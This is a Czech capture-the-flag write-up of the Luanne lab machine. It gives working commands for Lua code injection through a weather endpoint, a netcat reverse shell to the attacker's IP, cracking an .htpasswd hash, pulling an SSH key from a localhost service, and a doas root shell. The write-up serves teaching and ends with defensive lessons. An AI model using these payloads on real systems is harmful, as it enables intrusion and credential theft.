Luanne
Úvod a kontext
Luanne stojí na dvou odlišných chybách, které se hezky doplňují. První je command injection v Lua backendu za /weather, druhá je příliš volná lokální správa přes doas. Mezi tím je ještě důležitý mezikrok: z webového shellu je potřeba vytáhnout přihlašovací údaje k interní službě a získat SSH klíč uživatele r.michaels.
Právě to dělá z Luanne dobrý vzdělávací stroj. Samotné RCE na webu ještě neznamená pohodlný foothold. Skutečný posun přinese až práce s lokálními soubory a localhost-only službami, které nejsou vidět zvenku.
Počáteční průzkum
NetBSD, nginx a skrytá /weather
nmap ukáže poměrně malou útočnou plochu: SSH, web na 80/tcp a ještě další HTTP službu na 9001/tcp. robots.txt navíc schovává /weather, takže dává smysl soustředit se na ni dřív než na hrubou enumeraci celého webu.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
80/tcp open http nginx 1.19.0
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
Enumerace webu rychle ukáže jediný opravdu zajímavý endpoint.
gobuster dir -u http://10.10.10.218/weather -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -x php,txt,log,html
/forecast (Status: 200) [Size: 90]
http://10.10.10.218/weather/forecast?city=list
Analýza zjištění
Lua injection v parametru city
Endpoint /weather/forecast vrací seznam měst pro city=list, ale neznámé hodnoty končí chybou. Jakmile se do parametru vloží ukončení řetězce a os.execute, server příkaz skutečně spustí. Pozdější analýza backupu ukáže proč: backend v weather.lua skládá chybovou odpověď jako Lua kód a volá nad ní load().
curl "http://10.10.10.218/weather/forecast?city=list')%20os.execute('id')--"
=> uid=80(www) gid=80(www) groups=80(www)
První webový shell je nejlepší hned přepnout na reverzní shell, aby šla pohodlně dělat lokální enumerace.
netcat -lvp 4000
curl "http://luanne.htb/weather/forecast?city=list%27)%20os.execute(%27mkfifo+%2ftmp%2fnllioo%3b+nc+10.10.14.8+4000+0%3c%2ftmp%2fnllioo+%7c+%2fbin%2fsh+%3e%2ftmp%2fnllioo+2%3e%261%3b+rm+%2ftmp%2fnllioo%27)--"
.htpasswd a interní HTTP server
Na hostu je hned vidět domovský adresář r.michaels a lokální soubory webu. .htpasswd obsahuje hash pro webapi_user, který po cracknutí dává heslo iamthebest. Tím se otevře localhost-only HTTP služba na 127.0.0.1:3001, ze které jde stáhnout soukromý klíč r.michaels.
cat .htpasswd
=> webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
john .htpasswd --wordlist=/usr/share/wordlists/rockyou.txt
=> iamthebest (webapi_user)
curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa
=> -----BEGIN OPENSSH PRIVATE KEY-----
Získání přístupu
SSH jako r.michaels
Jakmile je k dispozici privátní klíč, dává smysl opustit křehký webový shell a přepnout se na SSH. Tím se foothold změní na plnohodnotný uživatelský přístup.
ssh -i id_rsa r.michaels@10.10.10.218
cat user.txt
__CENSORED__
Eskalace oprávnění
doas bez další exploitační práce
Po přihlášení přes SSH už není potřeba hledat další CVE. Lokální enumerace ukáže, že účet r.michaels smí přes doas spustit /bin/sh jako root. To je na NetBSD stejný problém, jako kdyby byl uživatel bez hesla v sudoers pro interaktivní shell.
doas -u root /bin/sh
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Rozhodující slabina byla v Lua backendu za
/weather, konkrétně v tom, že chybová větev skládala Lua kód z uživatelského vstupu a volala nad nímload(). - Webový shell sám o sobě nestačil; skutečný foothold přišel až po cracknutí
.htpasswda stažení SSH klíčer.michaelsz interní služby na127.0.0.1:3001. - Root část připomíná, že příliš široké oprávnění v
doasnebosudomůže znehodnotit veškerou předchozí segmentaci systému.
Co si odnést do praxe
- Endpointy, které skládají skripty nebo šablony z neescapovaného vstupu, mají mnohem vyšší dopad než běžná validační chyba. U Luanne se z chybové zprávy stal přímo RCE primitiv.
- Lokální služby na
127.0.0.1je potřeba brát jako součást útočné plochy. Jakmile útočník získá webový shell, často se k nim dostane bez další překážky. doasasudopravidla mají být co nejužší. Povolení interaktivního shellu jako root je prakticky totéž, jako dát uživateli plnou administraci.